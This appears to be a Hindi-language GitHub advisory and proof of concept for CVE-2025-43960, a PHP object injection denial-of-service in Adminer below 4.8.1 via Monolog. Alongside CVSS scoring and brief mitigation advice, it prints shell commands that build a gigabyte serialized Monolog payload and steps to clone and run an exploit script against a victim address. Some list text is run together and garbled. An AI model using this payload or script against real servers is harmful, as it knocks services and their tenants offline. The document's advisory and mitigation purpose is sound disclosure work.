
Adminer <4.8.1 के लिए Monolog के माध्यम से PHP ऑब्जेक्ट इंजेक्शन शोषण, क्राफ्टेड सीरियलाइज़्ड पेलोड के माध्यम से सेवा से इनकार का कारण बनता है। PoC, CVSS स्कोरिंग और शमन मार्गदर्शन शामिल है।
MITRE से प्रतिक्रिया की प्रतीक्षा करने के महीनों के बाद, मैंने Adminer सेवा (<4.8.1) के विरुद्ध PHP Object Injection हमले के साथ CVE-2025-43960 प्राप्त किया, जो मेमोरी मैनिपुलेशन के माध्यम से Denial of Service (DoS) का कारण बनता है।
https://github.com/user-attachments/assets/ebf7d8e8-01db-4d02-bb12-33321c749458
यह कमजोरी दूरस्थ, अप्रमाणित हमलावरों को Monolog का उपयोग करके Adminer 4.8.1 इंस्टेंस का शोषण करने की अनुमति देती है, जिससे PHP Object Injection के माध्यम से Denial of Service (DoS) होता है। हमले के वेक्टर के लिए किसी प्रमाणीकरण या उपयोगकर्ता इंटरैक्शन की आवश्यकता नहीं है, जो इसे एक उच्च-गंभीरता वाला मुद्दा (CVSS 7.5) बनाता है जिसमें कुछ साझा वातावरणों में 8.6 तक बढ़ने की संभावना है।
Adminer 4.8.1, जब लॉगिंग के लिए Monolog का उपयोग करता है, एक s:1000000000 स्ट्रिंग जैसे क्राफ्टेड सीरियलाइज़्ड पेलोड के माध्यम से एक denial of service (मेमोरी खपत) की अनुमति देता है, जिसे PHP Object Injection समस्या भी कहा जाता है। यह कमजोरी Adminer इंस्टेंस को प्रभावित करती है जो लॉगिंग के लिए Monolog का उपयोग करते हैं, जहाँ अविश्वसनीय उपयोगकर्ता इनपुट बिना उचित सत्यापन के deserialize किया जाता है।
एक बड़े deserialized ऑब्जेक्ट को भेजकर, एक हमलावर उच्च मेमोरी खपत को बाध्य कर सकता है, जिससे Adminer इंटरफ़ेस अनुत्तरदायी हो जाता है और सर्वर-व्यापी DoS होता है।
आधार स्कोर: 7.5 (उच्च)
वेक्टर: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
विशिष्ट परिनियोजन पर नोट:
यदि Adminer को क्रैश करने से अन्य सेवाओं/किराएदारों (जैसे, कंटेनर या साझा प्रक्रिया) में भी व्यवधान होता है, तो Scope: Changed लागू हो सकता है:
- वेक्टर:
AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H- स्कोर: 8.6 (उच्च)
unserialize() का उपयोग करने से बचें।memory_limit) लागू करें।unserialize() में allowed_classes का उपयोग करें।< 4.8.1 (परीक्षण के समय नवीनतम स्थिर संस्करण)unserialize() के माध्यम से PHP Object Injectionपेलोड निर्माण:
head -c 1000000000 </dev/zero | tr '\0' 'D' > filler.txt
echo 'O:32:"Monolog\\Handler\\SyslogUdpHandler":2:{
s:9:"*socket";r:2;
s:10:"*handler";s:1000000000:"'$(cat filler.txt)'";
}' > payload.txt
प्रभाव:
python3 --version चलाकर इसकी जाँच कर सकते हैं।git clone https://github.com/far00t01/CVE-2025-43960
cd CVE-2025-43960
pip install -r requirement.txt
python3 cve-2025-43960.py
python3 cve-2025-43960.py
Usage: cve-2025-43960.py <ip-listener> <port-listener> <ip-victim:port>
Example: python3 cve-2025-43960.py 198.51.100.11 80 203.0.113.11:8000
Fabian Rosales (@far00t01) Medium